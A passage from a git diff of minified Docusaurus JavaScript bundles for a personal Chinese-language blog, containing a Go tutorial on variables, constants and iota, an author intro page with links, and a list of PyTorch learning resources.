float32\n)\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",children:"\u53d8\u91cf\u7684\u521d\u59cb\u5316"}),"\n",(0,l.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5728\u58f0\u660e\u53d8\u91cf\u7684\u65f6\u5019\uff0c\u4f1a\u81ea\u52a8\u5bf9\u53d8\u91cf\u5bf9\u5e94\u7684\u5185\u5b58\u533a\u57df\u8fdb\u884c\u521d\u59cb\u5316\u64cd\u4f5c\u3002\u6bcf\u4e2a\u53d8\u91cf\u4f1a\u88ab\u521d\u59cb\u5316\u6210\u5176\u7c7b\u578b\u7684\u9ed8\u8ba4\u503c\uff0c\u4f8b\u5982\uff1a \u6574\u578b\u548c\u6d6e\u70b9\u578b\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,l.jsx)(e.code,{children:"0"}),"\u3002 \u5b57\u7b26\u4e32\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,l.jsx)(e.code,{children:"\u7a7a\u5b57\u7b26\u4e32"}),"\u3002 \u5e03\u5c14\u578b\u53d8\u91cf\u9ed8\u8ba4\u4e3a",(0,l.jsx)(e.code,{children:"false"}),"\u3002 \u5207\u7247\u3001\u51fd\u6570\u3001\u6307\u9488\u53d8\u91cf\u7684\u9ed8\u8ba4\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u5f53\u7136\u6211\u4eec\u4e5f\u53ef\u5728\u58f0\u660e\u53d8\u91cf\u7684\u65f6\u5019\u4e3a\u5176\u6307\u5b9a\u521d\u59cb\u503c\u3002\u53d8\u91cf\u521d\u59cb\u5316\u7684\u6807\u51c6\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d \u7c7b\u578b = \u8868\u8fbe\u5f0f\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name string = "Q1mi"\nvar age int = 18\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u6216\u8005\u4e00\u6b21\u521d\u59cb\u5316\u591a\u4e2a\u53d8\u91cf"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name, age = "Q1mi", 20\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u7c7b\u578b\u63a8\u5bfc",children:"\u7c7b\u578b\u63a8\u5bfc"}),"\n",(0,l.jsx)(e.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u4f1a\u5c06\u53d8\u91cf\u7684\u7c7b\u578b\u7701\u7565\uff0c\u8fd9\u4e2a\u65f6\u5019\u7f16\u8bd1\u5668\u4f1a\u6839\u636e\u7b49\u53f7\u53f3\u8fb9\u7684\u503c\u6765\u63a8\u5bfc\u53d8\u91cf\u7684\u7c7b\u578b\u5b8c\u6210\u521d\u59cb\u5316\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name = "Q1mi"\nvar age = 18\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u77ed\u53d8\u91cf\u58f0\u660e",children:"\u77ed\u53d8\u91cf\u58f0\u660e"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u51fd\u6570\u5185\u90e8\uff0c\u53ef\u4ee5\u4f7f\u7528\u66f4\u7b80\u7565\u7684 ",(0,l.jsx)(e.code,{children:":="})," \u65b9\u5f0f\u58f0\u660e\u5e76\u521d\u59cb\u5316\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n// \u5168\u5c40\u53d8\u91cfm\nvar m = 100\n\nfunc main() {\n\tn := 10\n\tm := 200 // \u6b64\u5904\u58f0\u660e\u5c40\u90e8\u53d8\u91cfm\n\tfmt.Println(m, n)\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u533f\u540d\u53d8\u91cf",children:"\u533f\u540d\u53d8\u91cf"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u4f7f\u7528\u591a\u91cd\u8d4b\u503c\u65f6\uff0c\u5982\u679c\u60f3\u8981\u5ffd\u7565\u67d0\u4e2a\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"\u533f\u540d\u53d8\u91cf\uff08anonymous variable\uff09"}),"\u3002 \u533f\u540d\u53d8\u91cf\u7528\u4e00\u4e2a\u4e0b\u5212\u7ebf",(0,l.jsx)(e.code,{children:"_"}),"\u8868\u793a\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'func foo() (int, string) {\n\treturn 10, "Q1mi"\n}\nfunc main() {\n\tx, _ := foo()\n\t_, y := foo()\n\tfmt.Println("x=", x)\n\tfmt.Println("y=", y)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u533f\u540d\u53d8\u91cf\u4e0d\u5360\u7528\u547d\u540d\u7a7a\u95f4\uff0c\u4e0d\u4f1a\u5206\u914d\u5185\u5b58\uff0c\u6240\u4ee5\u533f\u540d\u53d8\u91cf\u4e4b\u95f4\u4e0d\u5b58\u5728\u91cd\u590d\u58f0\u660e\u3002 (\u5728",(0,l.jsx)(e.code,{children:"Lua"}),"\u7b49\u7f16\u7a0b\u8bed\u8a00\u91cc\uff0c\u533f\u540d\u53d8\u91cf\u4e5f\u88ab\u53eb\u505a\u54d1\u5143\u53d8\u91cf\u3002)"]}),"\n",(0,l.jsx)(e.p,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u51fd\u6570\u5916\u7684\u6bcf\u4e2a\u8bed\u53e5\u90fd\u5fc5\u987b\u4ee5\u5173\u952e\u5b57\u5f00\u59cb\uff08var\u3001const\u3001func\u7b49\uff09"}),"\n",(0,l.jsxs)(e.li,{children:[(0,l.jsx)(e.code,{children:":="}),"\u4e0d\u80fd\u4f7f\u7528\u5728\u51fd\u6570\u5916\u3002"]}),"\n",(0,l.jsxs)(e.li,{children:[(0,l.jsx)(e.code,{children:"_"}),"\u591a\u7528\u4e8e\u5360\u4f4d\uff0c\u8868\u793a\u5ffd\u7565\u503c\u3002"]}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u5e38\u91cf",children:"\u5e38\u91cf"}),"\n",(0,l.jsxs)(e.p,{children:["\u76f8\u5bf9\u4e8e\u53d8\u91cf\uff0c\u5e38\u91cf\u662f\u6052\u5b9a\u4e0d\u53d8\u7684\u503c\uff0c\u591a\u7528\u4e8e\u5b9a\u4e49\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u4e0d\u4f1a\u6539\u53d8\u7684\u90a3\u4e9b\u503c\u3002 \u5e38\u91cf\u7684\u58f0\u660e\u548c\u53d8\u91cf\u58f0\u660e\u975e\u5e38\u7c7b\u4f3c\uff0c\u53ea\u662f\u628a",(0,l.jsx)(e.code,{children:"var"}),"\u6362\u6210\u4e86",(0,l.jsx)(e.code,{children:"const"}),"\uff0c\u5e38\u91cf\u5728\u5b9a\u4e49\u7684\u65f6\u5019\u5fc5\u987b\u8d4b\u503c\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const pi = 3.1415\nconst e = 2.7182\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u58f0\u660e\u4e86",(0,l.jsx)(e.code,{children:"pi"}),"\u548c",(0,l.jsx)(e.code,{children:"e"}),"\u8fd9\u4e24\u4e2a\u5e38\u91cf\u4e4b\u540e\uff0c\u5728\u6574\u4e2a\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u5b83\u4eec\u7684\u503c\u90fd\u4e0d\u80fd\u518d\u53d1\u751f\u53d8\u5316\u4e86\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u591a\u4e2a\u5e38\u91cf\u4e5f\u53ef\u4ee5\u4e00\u8d77\u58f0\u660e\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n pi = 3.1415\n e = 2.7182\n)\n"})}),"\n",(0,l.jsx)(e.p,{children:"const\u540c\u65f6\u58f0\u660e\u591a\u4e2a\u5e38\u91cf\u65f6\uff0c\u5982\u679c\u7701\u7565\u4e86\u503c\u5219\u8868\u793a\u548c\u4e0a\u9762\u4e00\u884c\u7684\u503c\u76f8\u540c\u3002 \u4f8b\u5982\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n n1 = 100\n n2\n n3\n)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0a\u9762\u793a\u4f8b\u4e2d\uff0c\u5e38\u91cf",(0,l.jsx)(e.code,{children:"n1"}),"\u3001",(0,l.jsx)(e.code,{children:"n2"}),"\u3001",(0,l.jsx)(e.code,{children:"n3"}),"\u7684\u503c\u90fd\u662f100\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"iota",children:"iota"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u662fgo\u8bed\u8a00\u7684\u5e38\u91cf\u8ba1\u6570\u5668\uff0c\u53ea\u80fd\u5728\u5e38\u91cf\u7684\u8868\u8fbe\u5f0f\u4e2d\u4f7f\u7528\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u5728const\u5173\u952e\u5b57\u51fa\u73b0\u65f6\u5c06\u88ab\u91cd\u7f6e\u4e3a0\u3002const\u4e2d\u6bcf\u65b0\u589e\u4e00\u884c\u5e38\u91cf\u58f0\u660e\u5c06\u4f7f",(0,l.jsx)(e.code,{children:"iota"}),"\u8ba1\u6570\u4e00\u6b21(iota\u53ef\u7406\u89e3\u4e3aconst\u8bed\u53e5\u5757\u4e2d\u7684\u884c\u7d22\u5f15)\u3002 \u4f7f\u7528iota\u80fd\u7b80\u5316\u5b9a\u4e49\uff0c\u5728\u5b9a\u4e49\u679a\u4e3e\u65f6\u5f88\u6709\u7528\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 //1\n\t\tn3 //2\n\t\tn4 //3\n\t)\n"})}),"\n",(0,l.jsxs)(e.h4,{id:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b",children:["\u51e0\u4e2a\u5e38\u89c1\u7684",(0,l.jsx)(e.code,{children:"iota"}),"\u793a\u4f8b:"]}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528",(0,l.jsx)(e.code,{children:"_"}),"\u8df3\u8fc7\u67d0\u4e9b\u503c"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 //1\n\t\t_\n\t\tn4 //3\n\t)\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u58f0\u660e\u4e2d\u95f4\u63d2\u961f"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 = 100 //100\n\t\tn3 = iota //2\n\t\tn4 //3\n\t)\n\tconst n5 = iota //0\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5b9a\u4e49\u6570\u91cf\u7ea7 \uff08\u8fd9\u91cc\u7684",(0,l.jsx)(e.code,{children:"<<"}),"\u8868\u793a\u5de6\u79fb\u64cd\u4f5c\uff0c",(0,l.jsx)(e.code,{children:"1<<10"}),"\u8868\u793a\u5c061\u7684\u4e8c\u8fdb\u5236\u8868\u793a\u5411\u5de6\u79fb10\u4f4d\uff0c\u4e5f\u5c31\u662f\u7531",(0,l.jsx)(e.code,{children:"1"}),"\u53d8\u6210\u4e86",(0,l.jsx)(e.code,{children:"10000000000"}),"\uff0c\u4e5f\u5c31\u662f\u5341\u8fdb\u5236\u76841024\u3002\u540c\u7406",(0,l.jsx)(e.code,{children:"2<<2"}),"\u8868\u793a\u5c062\u7684\u4e8c\u8fdb\u5236\u8868\u793a\u5411\u5de6\u79fb2\u4f4d\uff0c\u4e5f\u5c31\u662f\u7531",(0,l.jsx)(e.code,{children:"10"}),"\u53d8\u6210\u4e86",(0,l.jsx)(e.code,{children:"1000"}),"\uff0c\u4e5f\u5c31\u662f\u5341\u8fdb\u5236\u76848\u3002\uff09"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\t_ = iota\n\t\tKB = 1 << (10 * iota)\n\t\tMB = 1 << (10 * iota)\n\t\tGB = 1 << (10 * iota)\n\t\tTB = 1 << (10 * iota)\n\t\tPB = 1 << (10 * iota)\n\t)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u591a\u4e2a",(0,l.jsx)(e.code,{children:"iota"}),"\u5b9a\u4e49\u5728\u4e00\u884c"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\ta, b = iota + 1, iota + 2 //1,2\n\t\tc, d //2,3\n\t\te, f //3,4\n\t)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/assets/js/0e384e19.00e9f5aa.js b/assets/js/0e384e19.00e9f5aa.js new file mode 100644 index 0000000..2d16ad3 --- /dev/null +++ b/assets/js/0e384e19.00e9f5aa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3976],{2053:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>r,metadata:()=>i,toc:()=>h});const i=JSON.parse('{"id":"intro","title":"intro","description":"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc","source":"@site/docs/intro.md","sourceDirName":".","slug":"/intro","permalink":"/docs/intro","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/intro.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","next":{"title":"\u4fe1\u606f\u6536\u96c6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"}}');var s=t(74848),l=t(28453);const r={},o=void 0,c={},h=[{value:"About Me",id:"about-me",level:2},{value:"\u5176\u4ed6\u77e5\u8bc6\u5e93",id:"\u5176\u4ed6\u77e5\u8bc6\u5e93",level:2}];function a(e){const n={a:"a",h2:"h2",h4:"h4",img:"img",li:"li",p:"p",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.h4,{align:"center",children:"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc"}),"\n",(0,s.jsxs)(n.p,{align:"center",children:["\n ",(0,s.jsxs)(n.a,{href:"https://www.wjlin0.com",children:["\n ",(0,s.jsx)(n.img,{alt:"Static Badge",src:"https://img.shields.io/badge/wjlin0-BLOG-blue?logo=markdown&logoColor=blue&labelColor=FFFFFF"})," \n "]}),"\n ",(0,s.jsxs)(n.a,{href:"https://github.com/wjlin0/pathScan",children:["\n ",(0,s.jsx)(n.img,{alt:"Static Badge",src:"https://img.shields.io/badge/wjlin0-pathScan-blue?logo=go&labelColor=FFFFFF"}),"\n "]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"about-me",children:"About Me"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["GitHub\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/wjlin0/",children:"https://github.com/wjlin0/"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u90ae\u7bb1\uff1a",(0,s.jsx)(n.a,{href:"mailto:admin@wjlin0.com",children:"admin@wjlin0.com"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u535a\u5ba2\uff1a",(0,s.jsx)(n.a,{href:"https://www.wjlin0.com",children:"https://www.wjlin0.com"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u8ba2\u9605\uff1a",(0,s.jsx)(n.a,{href:"https://blog.wjlin0.com/rss.xml",children:"https://blog.wjlin0.com/rss.xml"})]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5176\u4ed6\u77e5\u8bc6\u5e93",children:"\u5176\u4ed6\u77e5\u8bc6\u5e93"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.leavesongs.com/",children:"P\u795e"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.gm7.org/",children:"d4m1ts"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://wiki.wgpsec.org/knowledge/",children:"\u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"http://wiki.peiqi.tech/",children:"PeiQi\u6587\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.assetnote.io/",children:"Assetnote"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.projectdiscovery.io/",children:"projectdiscovery"})}),"\n"]})]})}function d(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>o});var i=t(96540);const s={},l=i.createContext(s);function r(e){const n=i.useContext(l);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),i.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/0e551242.26804dda.js b/assets/js/0e551242.26804dda.js new file mode 100644 index 0000000..4b39f39 --- /dev/null +++ b/assets/js/0e551242.26804dda.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4347],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>l});var r=n(96540);const s={},h=r.createContext(s);function c(e){const t=r.useContext(h);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(h.Provider,{value:t},e.children)}},50841:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>l,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.2 PyTorch\u7684\u5b89\u88c5.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"},"next":{"title":"\u7b2c\u4e8c\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"}}');var s=n(74848),h=n(28453);const c={},l="1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md",i={},o=[{value:"1.3.1 PyTorch\u5b66\u4e60\u8d44\u6e90",id:"131-pytorch\u5b66\u4e60\u8d44\u6e90",level:2}];function d(e){const t={a:"a",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,h.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"13-pytorch\u76f8\u5173\u8d44\u6e90md",children:"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"13-pytorch\u76f8\u5173\u8d44\u6e90",children:"1.3 PyTorch\u76f8\u5173\u8d44\u6e90"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u4e4b\u6240\u4ee5\u88ab\u8d8a\u6765\u8d8a\u591a\u7684\u4eba\u4f7f\u7528\uff0c\u4e0d\u4ec5\u5728\u4e8e\u5176\u5b8c\u5907\u7684\u6559\u7a0b\uff0c\u8fd8\u53d7\u76ca\u4e8e\u8bb8\u591a\u76f8\u5173\u7684\u8d44\u6e90\u548c\u5b8c\u5584\u7684\u8bba\u575b\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsx)(t.li,{children:"PyTorch\u7684\u4f18\u8d28\u5b66\u4e60\u8d44\u6e90"}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"131-pytorch\u5b66\u4e60\u8d44\u6e90",children:"1.3.1 PyTorch\u5b66\u4e60\u8d44\u6e90"}),"\n",(0,s.jsxs)(t.ol,{children:["\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/bharathgs/Awesome-pytorch-list",children:"Awesome-pytorch-list"}),"\uff1a\u76ee\u524d\u5df2\u83b712K Star\uff0c\u5305\u542b\u4e86NLP,CV,\u5e38\u89c1\u5e93\uff0c\u8bba\u6587\u5b9e\u73b0\u4ee5\u53caPytorch\u7684\u5176\u4ed6\u9879\u76ee\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://pytorch.org/docs/stable/index.html",children:"PyTorch\u5b98\u65b9\u6587\u6863"}),"\uff1a\u5b98\u65b9\u53d1\u5e03\u7684\u6587\u6863\uff0c\u5341\u5206\u4e30\u5bcc\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/zergtant/pytorch-handbook",children:"Pytorch-handbook"}),"\uff1aGitHub\u4e0a\u5df2\u7ecf\u6536\u83b714.8K\uff0cpytorch\u624b\u4e2d\u4e66\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://discuss.pytorch.org/",children:"PyTorch\u5b98\u65b9\u793e\u533a"}),"\uff1aPyTorch\u62e5\u6709\u4e00\u4e2a\u6d3b\u8dc3\u7684\u793e\u533a\uff0c\u5728\u8fd9\u91cc\u4f60\u53ef\u4ee5\u548c\u5f00\u53d1pytorch\u7684\u4eba\u4eec\u8fdb\u884c\u4ea4\u6d41\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://pytorch.org/tutorials/",children:"PyTorch\u5b98\u65b9tutorials"}),"\uff1a\u5b98\u65b9\u7f16\u5199\u7684tutorials\uff0c\u53ef\u4ee5\u7ed3\u5408colab\u8fb9\u52a8\u624b\u8fb9\u5b66\u4e60"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://zh.d2l.ai/",children:"\u52a8\u624b\u5b66\u6df1\u5ea6\u5b66\u4e60"}),"\uff1a\u52a8\u624b\u5b66\u6df1\u5ea6\u5b66\u4e60\u662f\u7531\u674e\u6c90\u8001\u5e08\u4e3b\u8bb2\u7684\u4e00\u95e8\u6df1\u5ea6\u5b66\u4e60\u5165\u95e8\u8bfe\uff0c\u62e5\u6709\u6210\u719f\u7684\u4e66\u7c4d\u8d44\u6e90\u548c\u8bfe\u7a0b\u8d44\u6e90\uff0c\u5728B\u7ad9\uff0cYoutube\u5747\u6709\u56de\u653e\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/INTERMT/Awesome-PyTorch-Chinese",children:"Awesome-PyTorch-Chinese"}),"\uff1a\u5e38\u89c1\u7684\u4e2d\u6587\u4f18\u8d28PyTorch\u8d44\u6e90"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/labmlai/annotated_deep_learning_paper_implementations",children:"labml.ai Deep Learning Paper Implementations"}),"\uff1a\u624b\u628a\u624b\u5b9e\u73b0\u7ecf\u5178\u7f51\u7edc\u4ee3\u7801"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/yandexdataschool/nlp_course",children:"YSDA course in Natural Language Processing"}),":YSDA course in Natural Language Processing"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://huggingface.co/",children:"huggingface"}),":hugging face"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://modelscope.cn/models",children:"ModelScope"}),": \u9b54\u642d\u793e\u533a"]}),"\n"]}),"\n",(0,s.jsx)(t.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u5f88\u591a\u5b66\u4e60pytorch\u7684\u8d44\u6e90\u5728b\u7ad9\uff0cstackoverflow\uff0c\u77e5\u4e4e......\u672a\u6765\u5927\u5bb6\u8fd8\u9700\u8981\u591a\u591a\u63a2\u7d22\uff0c\u6211\u4eec\u5e0c\u671b\u5927\u5bb6\u53ef\u4ee5\u5728\u5b9e\u6218\u4e2d\u4e0d\u65ad\u5b66\u4e60\uff0c\u4e0d\u65ad\u7ed9\u4e88\u6211\u4eec\u8bfe\u7a0b\u53cd\u9988\u3002"}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.strong,{children:"\u4ee5\u4e0a\u4fbf\u662f\u7b2c\u4e00\u7ae0\u7684\u5185\u5bb9\u4e86\uff0c\u80fd\u529b\u6709\u9650\uff0c\u5e0c\u671b\u5404\u4f4d\u4e00\u5b9a\u8981\u5e26\u7740\u81ea\u5df1\u7684\u60f3\u6cd5\u5